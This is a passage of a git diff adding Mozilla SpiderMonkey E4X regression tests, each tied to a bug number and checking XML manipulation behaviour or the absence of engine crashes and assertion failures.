+catch (e) {
+}
+
+if (child.a[0] === child.a[1])
+ actual = 'Duplicate detected';
+
+TEST(1, expect, actual);
+END();
diff --git a/e4x/Regress/regress-356238-03.js b/e4x/Regress/regress-356238-03.js
new file mode 100755
index 0000000..119b9b6
--- /dev/null
+++ b/e4x/Regress/regress-356238-03.js
@@ -0,0 +1,64 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-356238-03.js';
+
+var BUGNUMBER = 356238;
+var summary = 'bug 356238';
+var actual = 'No Error';
+var expect = 'No Error';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var xml = <xml><child><a/></child></xml>;
+var child = xml.child[0];
+
+try {
+ child.insertChildBefore(null, xml.child);
+ actual = "insertChildBefore succeded when it should throw an exception";
+} catch (e) {
+}
+
+var list = child.*;
+var text = uneval(list[1]);
+if (!/(undefined|\(void 0\))/.test(text))
+ throw "child got unexpected second element: "+text;
+
+TEST(1, expect, actual);
+END();
diff --git a/e4x/Regress/regress-361451.js b/e4x/Regress/regress-361451.js
new file mode 100755
index 0000000..48166dc
--- /dev/null
+++ b/e4x/Regress/regress-361451.js
@@ -0,0 +1,57 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Jesse Ruderman
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-361451.js';
+
+var BUGNUMBER = 361451;
+var summary = 'Do not crash with E4X, watch, import';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var obj = <z><yyy/></z>;
+obj.watch('x', print);
+try { import obj.yyy; } catch(e) { }
+obj = undefined;
+gc();
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-364017.js b/e4x/Regress/regress-364017.js
new file mode 100755
index 0000000..73eb38f
--- /dev/null
+++ b/e4x/Regress/regress-364017.js
@@ -0,0 +1,58 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Jeff Walden
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-364017.js';
+
+var BUGNUMBER = 364017;
+var summary = 'Do not assert map->vector && i < map->length';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+if (typeof dis != 'undefined')
+{
+ dis( function() {
+ XML.prototype.function::toString = function() { return "foo"; };
+ });
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-369032.js b/e4x/Regress/regress-369032.js
new file mode 100755
index 0000000..1d73bc0
--- /dev/null
+++ b/e4x/Regress/regress-369032.js
@@ -0,0 +1,63 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2007
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Jesse Ruderman
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-369032.js';
+
+var summary = 'Do not assert: kid2->parent == xml || !kid2->parent';
+var BUGNUMBER = 369032;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var y = <y/>;
+var b = y.b;
+b.a = 3;
+var x = <x/>.appendChild(b);
+y.b = 5;
+
+expect = '<y>\n <b>5</b>\n</y>';
+actual = y.toXMLString();
+TEST(1, expect, actual);
+
+expect = '<x>\n <b>\n <a>3</a>\n </b>\n</x>';
+actual = x.toXMLString();
+TEST(2, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-369536.js b/e4x/Regress/regress-369536.js
new file mode 100644
index 0000000..6568eb7
--- /dev/null
+++ b/e4x/Regress/regress-369536.js
@@ -0,0 +1,48 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * David P. Caldwell.
+ * Portions created by the Initial Developer are Copyright (C) 2007
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * David P. Caldwell <inonit@inonit.com>
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-369536.js';
+
+START("Assignment to XML property removes attributes");
+printBugNumber(369536);
+
+var x = <foo><bar id="1">bazOne</bar><bar id="2">bazTwo</bar></foo>;
+TEST_XML(1, "<bar id=\"2\">bazTwo</bar>", x.bar[1]);
+x.bar[1] = "bazTwoChanged";
+TEST_XML(2, "<bar id=\"2\">bazTwoChanged</bar>", x.bar[1]);
diff --git a/e4x/Regress/regress-369740.js b/e4x/Regress/regress-369740.js
new file mode 100755
index 0000000..c65a515
--- /dev/null
+++ b/e4x/Regress/regress-369740.js
@@ -0,0 +1,82 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2007
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-369740.js';
+
+var BUGNUMBER = 369740;
+var summary = 'generic code for function::';
+var actual = 'No Exception';
+var expect = 'No Exception';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+actual = expect = Math.function::sin + '';
+TEST(1, expect, actual);
+
+var x = <xml/>;
+x.function::toString = function(){return "moo"};
+actual = x + '';
+expect = 'moo';
+TEST(2, expect, actual);
+
+x = <><a/><b/></>;
+
+expect = 'test';
+try
+{
+ with (x) {
+ function::toString = function() { return "test"; }
+ }
+
+ actual = x + '';
+}
+catch(ex)